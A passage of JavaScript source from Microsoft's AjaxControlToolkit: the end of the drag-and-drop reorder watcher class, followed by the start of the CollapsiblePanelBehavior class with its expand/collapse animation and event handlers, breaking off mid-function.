    findChild : function(parent, childId) {
        
        // just walk through the list of children looking for the child
        //
        var childIndex = 0;
        var nodes = parent.childNodes;
        for (var i = 0; i < nodes.length; i++) {
            var item = nodes[i];
            // nodeName check is for Safari which enumerates LI contents as well
            if ((item != null) && (item.nodeName == "LI")) {
                if (item.id == childId) {
                    return childIndex;
                }
                childIndex++;
            }
        }
        return -1;
    },
    
    canDrop : function(dragMode, dataType, data) {
    
        if (this._inProgressDrops && this._inProgressDrops.length > 0) {            
            return false;        
        }   
    
        var dropOk = AjaxControlToolkit.DragDropWatcher.callBaseMethod(this, 'canDrop',[dragMode,dataType,data]);
        
        if (dropOk) {
            // data is the thing being dragged
            var dragVisualRect = $common.getBounds(data);
            
            var nodeRect;
            var hitInsertNode = false;
            var e = this.get_element();
            for (var node = e.firstChild; node != null && !hitInsertNode; node = node.nextSibling) {
                
                if (!node.id) continue;
            
                nodeRect = $common.getBounds(node);
                
                if (dragVisualRect.y <= nodeRect.y) {                
                    break;
                }
                
                hitInsertNode = (node.id.lastIndexOf("Insert", node.id.length - 6) != -1);           
            }       
            dropOk = !hitInsertNode;
        }    
        return dropOk;
    },
    
    drop : function(dragMode, dataType, data) {
                
        AjaxControlToolkit.DragDropWatcher.callBaseMethod(this, 'drop',[dragMode,dataType,data]);
        var childId = data.id;
        if (!this._postbackCode || !childId) return;
    
        // figure out which child index we're moving to
        //
        var newIndex = this.findChild(this.get_element(), childId);
        Sys.Debug.assert(newIndex != -1, String.format(AjaxControlToolkit.Resources.ReorderList_DropWatcherBehavior_NoChild, childId));
        
        var oldIndex = this._getSavedChildIndex(childId);
        if (newIndex != -1 && newIndex != oldIndex) {            
            this._saveChildOrder();
            this.doPostBack(childId, newIndex, oldIndex);              
        }    
    }  ,
    
    _setupDropState : function(childId, newIndex, oldIndex) {
        if (childId) {
            var child = $get(childId);        
            this._inProgressDrops[childId] = {"oldCss": child.className, "newIndex":newIndex, "oldIndex":oldIndex};
            
            if (this._callbackCssStyle) {                 
                   child.className = this._callbackCssStyle;           
            }        
        }
    },
    
    _onDropCallback : function(childId) {
    
        if (childId) {
            
            this.set_ClientState("true");
            
            var item = this._inProgressDrops[childId];
            
            if (item) {
                var child = $get(childId);        
                if (this._callbackCssStyle) {                 
                   child.className = item.oldCss;           
                }    
                delete this._inProgressDrops[childId];
            }
            return item;
        }
    },

    
    doPostBack : function(childId, newIndex, oldIndex) {
        
            var item = this._inProgressDrops[childId];
            
            if (item) {
                // don't allow recursive drops.                
                return;
            }
        
            // setup the postback string
            //
            var postbackArg = "reorder:" + childId + ":" + oldIndex.toString() + ":" + newIndex.toString();       
            
            // replace the specified replace string with the arg and build the full postback string
            //            
            var postbackCode = this._postbackCode.replace(this._argReplaceString, postbackArg);            
            
            if (this._argSuccessString) {
                postbackCode = postbackCode.replace(this._argSuccessString, "callbackSuccessStub");
            }
            if (this._argErrorString) {
                postbackCode = postbackCode.replace(this._argErrorString, "callbackErrorStub");
            }
            if (this._argContextString) {
                postbackCode = postbackCode.replace(this._argContextString, this.get_id() + ":" + childId);
            }
            
            this._setupDropState(childId, newIndex, oldIndex);
                                
            window.setTimeout(postbackCode, 0);                    
    } ,
    
    _onCallbackSuccess : function(response, context) {
    
        if (response && response.length > 0) {
            this._onCallbackError(response, context);
        }
        else {    
            this._onDropCallback(context);            
            this.raiseReorderComplete();
        }
        
    },
    
    _onCallbackError : function(response, context) {
    
        var item = this._onDropCallback(context);
        
        // undo the move
        //        
        if (item.oldIndex || item.newIndex) {
            this._saveChildOrder();
            this.doReorder(item.newIndex, item.oldIndex, true);                                    
        }        
        
        alert(String.format(AjaxControlToolkit.Resources.ReorderList_DropWatcherBehavior_CallbackError, response));
    },
    
    doReorder : function(oldIndex, newIndex, skipPostback) {   
        var e = this.get_element();   
        var children = this._childList;  
        if (oldIndex >= 0 && children.length > oldIndex && oldIndex != newIndex) {
        
            
        
            var child = $get(children[oldIndex]);
            
            var item = this._inProgressDrops[child.id];
            
            if (item) {
                // don't allow recursive drops.                
                return;
            }           
            
            if (child) {
            
                if (newIndex > oldIndex) {
                    // if the destination element is after the source element
                    // we can't insert after, we need to insert after.  
                    // so we increment the newIndex.
                    // 
                    // 
                    newIndex++;
                }
                                
                var append = newIndex >= children.length;
                
                try {
                   e.removeChild(child);
                }
                catch(e) {
                    // Safari likes to throw NOT_FOUND_ERR (DOMException 8)
                    // but it seems to work fine anyway.
                    //
                }               
                
                if (append) {
                    e.appendChild(child);
                }
                else {                
                    var childAtNewIndex = $get(children[newIndex]);                                                   
                    e.insertBefore(child, childAtNewIndex);                            
                }
                if (!skipPostback) {                 
                    this.doPostBack(child.id, newIndex, oldIndex);
                }
                else {
                    this._saveChildOrder();
                    this.raiseReorderComplete();
                }
            }
        }
    }  , 
    
    getItem : function(index) {
        
        if (!this._childList) {
            this._saveChildOrder();
        }
    
        return this._childList[index];
    },
    
    _getSavedChildIndex : function(childId) {
        if (this._childList && childId) {            
            for (var i = 0; i < this._childList.length; i++) {
                if (childId == this._childList[i]) {            
                    return i;
                }
            }
        }
        return -1;
    },
    
    _saveChildOrder : function() {
        var e = this.get_element();
        if (!e) return;
        var children = e.childNodes;
        this._childList = [];
        var childCount = 0;
       
        for (var i = 0; i < children.length; i++) {
            // note Safari is returning all children, not just direct ones
            //
            if (children[i] && children[i].parentNode === e && children[i].tagName && children[i].tagName.toLowerCase() == "li") {
                this._childList[childCount++] = children[i].id;                
            }
        }        
    },
    
    
    get_argReplaceString : function() {
        return this._argReplaceString;
    },
    
    set_argReplaceString : function(value) {             
        if (this._argReplaceString != value) {
           this._argReplaceString = value;        
           this.raisePropertyChanged('argReplaceString');
        }
    },
    
    get_argContextString : function() {
        return this._argContextString;
    },
    
    set_argContextString : function(value) {             
        if (this._argContextString != value) {
            this._argContextString = value;        
            this.raisePropertyChanged('argContextString');
        }
    },
    
    get_argErrorString : function() {
        return this._argErrorString;
    },
    
    set_argErrorString : function(value) {             
        if (this._argErrorString != value) {
            this._argErrorString = value;        
            this.raisePropertyChanged('argErrorString');
        }
    },
    
    get_argSuccessString : function() {
        return this._argSuccessString;
    },
    
    set_argSuccessString : function(value) {             
        if (this._argSuccessString != value) {
            this._argSuccessString = value;        
            this.raisePropertyChanged('argSuccessString');
        }
    },
    
    get_postbackCode : function() {
        return this._postbackCode;
    },
    
    set_postbackCode : function(value) {             
        if (this._postbackCode != value) {
            this._postbackCode = value;        
            this.raisePropertyChanged('postbackCode');
        }
    },
    
    get_callbackCssStyle : function() {
        return this._callbackCssStyle;
    },
    
    set_callbackCssStyle : function(value) { 
        if (this._callbackCssStyle != value) {             
            this._callbackCssStyle = value;        
            this.raisePropertyChanged('callbackCssStyle');
        }
    }
     
    
}
AjaxControlToolkit.DragDropWatcher.registerClass('AjaxControlToolkit.DragDropWatcher', AjaxControlToolkit.DragDropList);
ݮ// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Animation/Animations.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.CollapsiblePanelExpandDirection = function() {
    /// <summary>
    /// The CollapsiblePanelExpandDirection enumeration describes whether the panel is opened vertically or horizontally
    /// </summary>
    /// <field name="Horizontal" type="Number" integer="true" />
    /// <field name="Vertical" type="Number" integer="true" />
    throw Error.invalidOperation();
}
AjaxControlToolkit.CollapsiblePanelExpandDirection.prototype = {
    Horizontal : 0,
    Vertical: 1
}
AjaxControlToolkit.CollapsiblePanelExpandDirection.registerEnum("AjaxControlToolkit.CollapsiblePanelExpandDirection", false);


AjaxControlToolkit.CollapsiblePanelBehavior = function(element) {
    /// <summary>
    /// The CollapsiblePanelBehavior allows you to add collapsible sections to your page
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// Element to associate the behavior with
    /// </param>
    AjaxControlToolkit.CollapsiblePanelBehavior.initializeBase(this, [element]);
    
    // property values
    this._collapsedSize = 0;
    this._expandedSize = 0;
    this._scrollContents = null;    
    this._collapsed = false;    
    this._expandControlID = null;
    this._collapseControlID = null;
    this._textLabelID = null;    
    this._collapsedText = null;
    this._expandedText = null;
    this._imageControlID = null;
    this._expandedImage = null;
    this._collapsedImage = null;
    this._suppressPostBack = null;
    this._autoExpand = null;
    this._autoCollapse = null;
    this._expandDirection = AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical;
    
    // handler delegates
    this._collapseClickHandler = null;
    this._expandClickHandler = null;    
    this._panelMouseEnterHandler = null;    
    this._panelMouseLeaveHandler = null;
    
    // the div we wrap around the panel contents
    this._childDiv = null;
    
    // Animation used to open/close the panel
    this._animation = null;
}
AjaxControlToolkit.CollapsiblePanelBehavior.prototype = {    
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.CollapsiblePanelBehavior.callBaseMethod(this, 'initialize');
        
        var element = this.get_element();
        this._animation = new AjaxControlToolkit.Animation.LengthAnimation(element, .25, 10, 'style', null, 0, 0, 'px');
        if (this._expandDirection == AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical) {
            this._animation.set_propertyKey('height');
        } else if (this._expandDirection == AjaxControlToolkit.CollapsiblePanelExpandDirection.Horizontal) {
           this._animation.set_propertyKey('width');
        }
        this._animation.add_ended(Function.createDelegate(this, this._onAnimateComplete));
        
        // for checkboxes, we don't want to suppress the posback (e.g. return false)
        // because that stops them from toggling their state.
        //           
        if (this._suppressPostBack == null) {
            if (element.tagName == "INPUT" && element.type == "checkbox") {
                this._suppressPostBack = false;
                this.raisePropertyChanged('SuppressPostBack');
            }                    
            else if (element.tagName == "A") {
                this._suppressPostBack = true;
                this.raisePropertyChanged('SuppressPostBack');
            }
        }
        
        
        // Check our client state.  If it's present,
        // that means this is a postback, so we restore the state.
        //
        var lastState = AjaxControlToolkit.CollapsiblePanelBehavior.callBaseMethod(this, 'get_ClientState');                
        if (lastState && lastState != "") {
            var wasCollapsed = Boolean.parse(lastState);  
            if (this._collapsed != wasCollapsed) {
                this._collapsed = wasCollapsed;
                this.raisePropertyChanged('Collapsed');       
            }
        }
        
        this._setupChildDiv();        
        
        // setup the initial size and state
        //
        if (this._collapsed) {
            this._setTargetSize(this._getCollapsedSize());            
        } else {            
            this._setTargetSize(this._getExpandedSize());
        } 
        
        this._setupState(this._collapsed);
        
        // setup all of our handlers.
        if (this._collapseControlID == this._expandControlID) {
            this._collapseClickHandler = Function.createDelegate(this, this.togglePanel);
            this._expandClickHandler = null; // we don't need both if we're toggling.
        } else {
            this._collapseClickHandler = Function.createDelegate(this, this.collapsePanel);
            this._expandClickHandler = Function.createDelegate(this, this.expandPanel);       
        }
        
        if (this._autoExpand) {
            this._panelMouseEnterHandler = Function.createDelegate(this, this._onMouseEnter);
            $addHandler(element, 'mouseover', this._panelMouseEnterHandler);
        }       
        if (this._autoCollapse) {
            this._panelMouseLeaveHandler = Function.createDelegate(this, this._onMouseLeave);
            $addHandler(element, 'mouseout', this._panelMouseLeaveHandler);
        }
        
        // attach the click handlers
        //
        if (this._collapseControlID) {
            var collapseElement = $get(this._collapseControlID);
            if (!collapseElement) {
                throw Error.argument('CollapseControlID', String.format(AjaxControlToolkit.Resources.CollapsiblePanel_NoControlID, this._collapseControlID));
            } else {
                $addHandler(collapseElement, 'click', this._collapseClickHandler);
            }
        }
        
        if (this._expandControlID) {
            if (this._expandClickHandler) { // if it's a toggle don't set up again
                var expandElement = $get(this._expandControlID);
                if (!expandElement) {
                    throw Error.argument('ExpandControlID', String.format(AjaxControlToolkit.Resources.CollapsiblePanel_NoControlID, this._expandControlID));
                } else {
                    $addHandler(expandElement, 'click', this._expandClickHandler);
                }
               
            }
        }
    },
    
    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>
        
        var element = this.get_element();
        
        if (this._collapseClickHandler) {
            var collapseElement = (this._collapseControlID ? $get(this._collapseControlID) : null);
            if (collapseElement) {
                $removeHandler(collapseElement, 'click', this._collapseClickHandler);
            }
            this._collapseClickHandler = null;
        }
        
        if (this._expandClickHandler) {
            var expandElement = (this._expandControlID ? $get(this._expandControlID) : null);
            if (expandElement) {
                $removeHandler(expandElement, 'click', this._expandClickHandler);
            }
            this._expandClickHandler = null;
        }
        
        if (this._panelMouseEnterHandler) {
            $removeHandler(element, 'mouseover', this._panelMouseEnterHandler);
        }
                
        if (this._panelMouseLeaveHandler) {
            $removeHandler(element, 'mouseout', this._panelMouseLeaveHandler);
        }
                
        if (this._animation) {
            this._animation.dispose();
            this._animation = null;
        }
        
        AjaxControlToolkit.CollapsiblePanelBehavior.callBaseMethod(this, 'dispose');
    },

    togglePanel : function(eventObj) {
        /// <summary>
        /// Event handler to epxand or collapse the panel (based on its current state)
        /// This is the public function that should be called instead of _toggle if
        /// you wish to programmatically open and close the collapsible panel.
        /// </summary>
        /// <param name="eventObj" type="Sys.UI.DomEvent" mayBeNull="true" optional="true">
        /// Event Info
        /// </param>

        this._toggle(eventObj);
    },    
    
    expandPanel : function(eventObj) {
        /// <summary>
        /// Open the panel. Public function that users should call if they
        /// wish to operate the collapsible panel programmatically.
        /// _doOpen should be treated as private since it has an underscore 
        /// to begin the function name.
        /// </summary>    
        /// <param name="eventObj" type="Sys.UI.DomEvent" mayBeNull="true" optional="true">
        /// Event Info
        /// </param>
        
        this._doOpen(eventObj);    
    },
    
    collapsePanel : function(eventObj) {
        /// <summary>
        /// Collapse the panel. Public function that users should call if they
        /// wish to operate the collapsible panel programmatically.
        /// _doClose should be treated as private since it has an underscore 
        /// to begin the function name.
        /// </summary>    
        /// <param name="eventObj" type="Sys.UI.DomEvent" mayBeNull="true" optional="true">
        /// Event Info
        /// </param>
        
        this._doClose(eventObj);
    },
    
    _checkCollapseHide : function() {
        /// <summary>
        /// Check if a control is collapsed and hidden
        /// (and set its display to none if it is supposed to be hidden)
        /// </summary>
        /// <returns type="Boolean">
        /// Whether the control is collapsed and hidden
        /// </returns>

        if (this._collapsed && this._getTargetSize() == 0) {
            var e = this.get_element();
            var display = $common.getCurrentStyle(e, 'display');
            if (!e.oldDisplay && display != "none") {
                e.oldDisplay = display;
                e.style.display = "none";
            }
            return true;
        }
        return false;
    },
    
    _doClose : function(eventObj) {
        /// <summary>
        /// Collapse the panel. Internal function, to close call "collapsePanel".
        /// </summary>
        /// <param name="eventObj" type="Sys.UI.DomEvent" mayBeNull="true" optional="true">
        /// Event Info
        /// </param>
        
        var eventArgs = new Sys.CancelEventArgs();
        this.raiseCollapsing(eventArgs);
        if (eventArgs.get_cancel()) {
            return;
        }
    
        if (this._animation) {
            // stop any running animation.
            this._animation.stop();        
            
            // setup the animation state
            this._animation.set_startValue(this._getTargetSize());
            this._animation.set_endValue(this._getCollapsedSize());
            
            // do it!
            this._animation.play();
        }
        
        this._setupState(true);
                
        // stop postback if necessary.
        if (this._suppressPostBack) {
            if (eventObj && eventObj.preventDefault) {
                eventObj.preventDefault();
            } else {
                if (eventObj) {
                    eventObj.returnValue = false;
                }
                return false;
            }
        }
    },
    
    _doOpen : function(eventObj) {
        /// <summary>
        /// Expand the Panel. Internal function, to close call "expandPanel".
        /// </summary>
        /// <param name="eventObj" type="Sys.UI.DomEvent" mayBeNull="true" optional="true">
        /// Event Info
        /// </param>
    
        var eventArgs = new Sys.CancelEventArgs();
        this.raiseExpanding(eventArgs);
        if (eventArgs.get_cancel()) {
            return;
        }
        
        // stop any existing animation
        if (this._animation) {
            this._animation.stop();
            var e = this.get_element();
            
            if (this._checkCollapseHide() && $common.getCurrentStyle(e, 'display', e.style.display)) {
                if (e.oldDisplay) {
                    e.style.display = e.oldDisplay;
                } else {
                    // IE isn't compliant on this one
                    if (e.style.removeAttribute) {
                        e.style.removeAttribute("display");
                    } else {
                       e.style.removeProperty("display");
                    }
                }
                e.oldDisplay = null;
            }
            
            // setup the animation state
            this._animation.set_startValue(this._getTargetSize());
            this._animation.set_endValue(this._getExpandedSize());
            
            // do it!
            this._animation.play();
        }
        
        // relect our state changes
        this._setupState(false);
        
        // stop the postback if necessary.
        //
        if (this._suppressPostBack) {
            if (eventObj && eventObj.preventDefault) {
                eventObj.preventDefault();
            } else {
                if (eventObj) {
                    eventObj.returnValue = false;
                }
                return false;
            }
        }
    },
    
    _onAnimateComplete : function() {
        /// <summary>
        /// Handler to listen for the end of the expand/collapse animation
        /// </summary>
    
        var e = this.get_element();
    
        // if we're fully expanded and the inner pannel is still smaller
        // than the size we've expanded to, fall back to auto
        //    
        if (!this._collapsed && !this._expandedSize)
        {
            if(this._expandDirection == AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical) {
                if(this._childDiv.offsetHeight <= e.offsetHeight) {
                   e.style.height = "auto";
                   this.raisePropertyChanged('TargetHeight');
                } 
                else {
                    this._checkCollapseHide();
                }
            }
            else // horizontal
            {
                if( this._childDiv.offsetWidth <= e.offsetWidth) {
                   e.style.width = "auto";
                   this.raisePropertyChanged('TargetWidth');
                }
                else {
                    this._checkCollapseHide();
                }
            }
        }
        else {
            this._checkCollapseHide();
        }
        
        if (this._collapsed) {
            this.raiseCollapseComplete();
            this.raiseCollapsed(Sys.EventArgs.Empty);
        } else {
            this.raiseExpandComplete()
            this.raiseExpanded(new Sys.EventArgs());
        }
    },
    
    _onMouseEnter : function(eventObj) {
        /// <summary>
        /// OnMouseOver Handler
        /// </summary>
        /// <param name="eventObj" type="Sys.UI.DomEvent" mayBeNull="true">
        /// Event Info
        /// </param>       
        if (this._autoExpand) {
            this.expandPanel(eventObj);
        }
    },
    
    _onMouseLeave : function(eventObj) {
        /// <summary>
        /// OnMouseOut Handler
        /// </summary>
        /// <param name="eventObj" type="Sys.UI.DomEvent" mayBeNull="true">
        /// Event Info
        /// </param>      
        if (this._autoCollapse) {
           this.collapsePanel(eventObj);
        }
    },
    
    _getExpandedSize : function() {
        /// <summary>
        /// Get the size of the panel when fully expanded
        /// </summary>
        /// <returns type="Number" integer="true">
        /// Size of the panel when fully expanded
        /// </returns>
    
        if (this._expandedSize) {
            return this._expandedSize;
        }                
        
        if (this._expandDirection == AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical) {
            return this._childDiv.offsetHeight;
        } else if (this._expandDirection == AjaxControlToolkit.CollapsiblePanelExpandDirection.Horizontal) {
            return this._childDiv.offsetWidth;
        }
    },
    
    _getCollapsedSize : function() {
        /// <summary>
        /// Get the size of the panel when fully collapsed
        /// </summary>
        /// <returns type="Number" integer="true">
        /// Size of the panel when fully collapsed
        /// </returns>

        if (this._collapsedSize) {
            return this._collapsedSize;
        }
        
        return 0;
    },
    
     _getTargetSize : function() {
         /// <summary>
         /// Get the target size of the Panel
         /// </summary>
         /// <returns type="Number" integer="true">
         /// Target size of the Panel
         /// </returns>

        var value;
        if (this._expandDirection == AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical) {
           value = this.get_TargetHeight();
        } else if (this._expandDirection == AjaxControlToolkit.CollapsiblePanelExpandDirection.Horizontal) {
           value = this.get_TargetWidth();
        }       
        
        // Safari returns undefined if display is 'none'
        //
        if (value === undefined) {
            value = 0;
        }
        return value;
    },
    
    _setTargetSize : function(value) {
        /// <summary>
        /// Set the target size of the panel
        /// </summary>
        /// <param name="value" type="Number" integer="true">
        /// Target size of the panel
        /// </param>

        // we don't always want to set the target size here.
        // if we don't have an expanded size, and we're not collapsed,
        // and we're at (or past) our "maximum" size
        //
        var useSize = this._collapsed || this._expandedSize;
        var e = this.get_element();
        if (this._expandDirection == AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical) {
            if (useSize || value < e.offsetHeight) {
                this.set_TargetHeight(value);
            } else {
                // if we're at our maximum size, flip to auto 
                // so that nested collapsible panels will
                // work properly.
                //
                e.style.height = "auto";
                this.raisePropertyChanged('TargetHeight');
            }
        } else if (this._expandDirection == AjaxControlToolkit.CollapsiblePanelExpandDirection.Horizontal) {
            if (useSize || value < e.offsetWidth) {
                this.set_TargetWidth(value);
            }
            else {
                e.style.width = "auto";
                this.raisePropertyChanged('TargetWidth');
            }            
        }
        this._checkCollapseHide();
    },
    
    _setupChildDiv : function() {
        /// <summary>
        /// Set up a child div to host our panel contents
        /// and then push the panel's children into it.
        /// </summary>

        
        var startSize = this._getTargetSize();
        
        var e = this.get_element();
                
        this._childDiv = e.cloneNode(false);
        e.id = '';

        // Make the child div visible (in case the panel was made invisible,
        // to avoid the flickering issue that appears in IE6).
        this._childDiv.style.visibility = 'visible';
        this._childDiv.style.display = '';
        
        // move all children into the div.
        //
        while (e.hasChildNodes()) {            
            var child = e.childNodes[0];
            child = e.removeChild(child);
            this._childDiv.appendChild(child);                
        }

        //On Parent
        e.setAttribute('style', '');
        e.className = '';
        e.style.border = '0px';
        e.style.margin = '0px';
        e.style.padding = '0px';

        // Setup scrolling on the child div and parent by only altering the scrolling 
        // for the expand direction letting the other fall into place naturally.
        if (this._scrollContents) {
            if (this._expandDirection == AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical) {
                e.style.overflowY = "scroll";
                this._childDiv.style.overflowY = ""; 
            } else {
                e.style.overflowX = "scroll";
                this._childDiv.style.overflowX = ""; 
            }
            // safari and opera do not recognize overflowX and overflowY
            if (Sys.Browser.agent == Sys.Browser.Safari || Sys.Browser.agent == Sys.Browser.Opera) {
                e.style.overflow = "scroll";
                this._childDiv.style.overflow = "";
            }
            
         }
         else {
            if (this._expandDirection == AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical) {
                e.style.overflowY = "hidden";
                this._childDiv.style.overflowY = ""; 
            } else {
                e.style.overflowX = "hidden";
                this._childDiv.style.overflowX = ""; 
            }
            // safari and opera do not recognize overflowX and overflowY
            if (Sys.Browser.Agent == Sys.Browser.Safari || Sys.Browser.Agent == Sys.Browser.Opera) {
                e.style.overflow = "hidden";
                this._childDiv.style.overflow = "";
            }            
         }

        //Delete some style after cloneNode
        //On Clone
        this._childDiv.style.position = "";
        
        // we optimize for the case where the original size is the collapsed size.
        // if that's the case, we go ahead and set the inner panel to auto so you 
        // can still expand it but not see it expanded by default when the page loads.
        //
        if (startSize == this._collapsedSize) {
            if (this._expandDirection == AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical) {
                this._childDiv.style.height = "auto"; 
            } else if (this._expandDirection == AjaxControlToolkit.CollapsiblePanelExpandDirection.Horizontal) {
                this._childDiv.style.width = "auto"; 
            }
        }

        e.appendChild(this._childDiv);

        // Make the panel visible (in case the panel was made invisible,
        // to avoid the flickering issue that appears in IE6).
        e.style.visibility = 'visible';
        e.style.display = '';
        
        if (this._collapsed) {
            startSize = this._getCollapsedSize();
        }
        else {
            startSize = this._getExpandedSize();
        }
            
        // set up our initial size
        //    
        if (this._expandDirection == AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical) {
            e.style.height = startSize + "px";
            
            if (!this._expandedSize) {
                e.style.height = "auto";
            }
            else {
               e.style.height = this._expandedSize + "px";
            }
            this._childDiv.style.height = "auto";

        } else if (this._expandDirection == AjaxControlToolkit.CollapsiblePanelExpandDirection.Horizontal) {
            e.style.width = startSize + "px";
            
            if (!this._expandedSize) {
                e.style.width = "auto";
            }
            else {
               e.style.width = this._expandedSize + "px";
            }
            this._childDiv.style.width = "auto";
        }    
    },
    
    _setupState : function(isCollapsed) {
        /// <summary>
        /// Get all the state set consistently when we change modes
        /// </summary>
        /// <param name="isCollapsed" type="Boolean">
        /// True to setup the state as if we're collapsed, false to setup the state as if we're expanded
        /// </param>

    
        if (isCollapsed) {           
        
            // change the text label ID if we have one.
            //
            if (this._textLabelID && this._collapsedText) {
                var e = $get(this._textLabelID);
                
                if (e) {
                    e.innerHTML = this._collapsedText;
                }
            }
            
            // Change the image if we have one
            if (this._imageControlID && this._collapsedImage) {
                var i = $get(this._imageControlID);
                if (i && i.src) {
                    i.src = this._collapsedImage;
                    if (this._expandedText || this._collapsedText) {
                        i.title = this._collapsedText;
                    }
                }
            }            
        }
        else {  
            if (this._textLabelID && this._expandedText) {
                var e = $get(this._textLabelID);
                
                if (e) {
                    e.innerHTML = this._expandedText;
                }
            }
            
            // Change the image if we have one
            if (this._imageControlID && this._expandedImage) {
                var i = $get(this._imageControlID);
                if (i && i.src) {
                    i.src = this._expandedImage;
                    if (this._expandedText || this._collapsedText) {
                            i.title = this._expandedText;
                    }
                }
            }        
        } 
        
        // set our member variable and set the client state to reflect it
        // 
        if (this._collapsed != isCollapsed) {
            this._collapsed = isCollapsed;        
            this.raisePropertyChanged('Collapsed');
        }
        AjaxControlToolkit.CollapsiblePanelBehavior.callBaseMethod(this, 'set_ClientState', [this._collapsed.toString()]);                        
    },
    
    _toggle : function(eventObj) {
        /// <summary>
        /// Event handler to epxand or collapse the panel (based on its current state)
        /// Internal function. Please use "togglePanel(eventObj)" to get same functionality.
        /// </summary>
        /// <param name="eventObj" type="Sys.UI.DomEvent" mayBeNull="true" optional="true">
        /// Event Info
        /// </param>

        if (this.get_Collapsed()) {
            return this.expandPanel(eventObj);
        } else {
            return this.collapsePanel(eventObj);
        }
    },
    
    add_collapsing : function(handler) {
        /// <summary>
        /// Add an event handler for the collapsing event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('collapsing', handler);
    },
    remove_collapsing : function(handler) {
        /// <summary>
        /// Remove an event handler from the collapsing event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('collapsing', handler);
    },
    raiseCollapsing : function(eventArgs) {
        /// <summary>
        /// Raise the collapsing event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the collapsing event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('collapsing');
        if (handler) {
            handler(this, eventArgs);
        }
    },
    
    add_collapsed : function(handler) {
        /// <summary>
        /// Add an event handler for the collapsed event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('collapsed', handler);
    },
    remove_collapsed : function(handler) {
        /// <summary>
        /// Remove an event handler from the collapsed event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('collapsed', handler);
    },
    raiseCollapsed : function(eventArgs) {
        /// <summary>
        /// Raise the collapsed event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the collapsed event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('collapsed');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_collapseComplete : function(handler) {
        /// <summary>
        /// Add a handler to the collapseComplete event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        /// <obsolete>Use the collapsed event instead</obsolete>
    	this.get_events().addHandler('collapseComplete', handler);
    },
    remove_collapseComplete : function(handler) {
        /// <summary>
        /// Remove a handler from the collapseComplete event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        /// <obsolete>Use the collapsed event instead</obsolete>
    	this.get_events().removeHandler('collapseComplete', handler);
    },
    raiseCollapseComplete : function() {
        /// <summary>
        /// Raise the collapseComplete event
        /// </summary>
        /// <obsolete>Use the collapsed event instead</obsolete>
    	var handlers = this.get_events().getHandler('collapseComplete');
    	if (handlers) {
    		handlers(this, Sys.EventArgs.Empty);
    	}
    },
    
    add_expanding : function(handler) {
        /// <summary>
        /// Add an event handler for the expanding event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('expanding', handler);
    },
    remove_expanding : function(handler) {
        /// <summary>
        /// Remove an event handler from the expanding event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('expanding', handler);
    },
    raiseExpanding : function(eventArgs) {
        /// <summary>
        /// Raise the expanding event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the expanding event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('expanding');
        if (handler) {
            handler(this, eventArgs);
        }
    },
    
    add_expanded : function(handler) {
        /// <summary>
        /// Add an event handler for the expanded event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('expanded', handler);
    },
    remove_expanded : function(handler) {
        /// <summary>
        /// Remove an event handler from the expanded event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('expanded', handler);
    },
    raiseExpanded : function(eventArgs) {
        /// <summary>
        /// Raise the expanded event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the expanded event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('expanded');
        if (handler) {
            handler(this, eventArgs);
        }
    },
    
    add_expandComplete : function(handler) {
        /// <summary>
        /// Add a handler to the expandComplete event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        /// <obsolete>Use the expanded event instead</obsolete>
    	this.get_events().addHandler('expandComplete', handler);
    },
    remove_expandComplete : function(handler) {
        /// <summary>
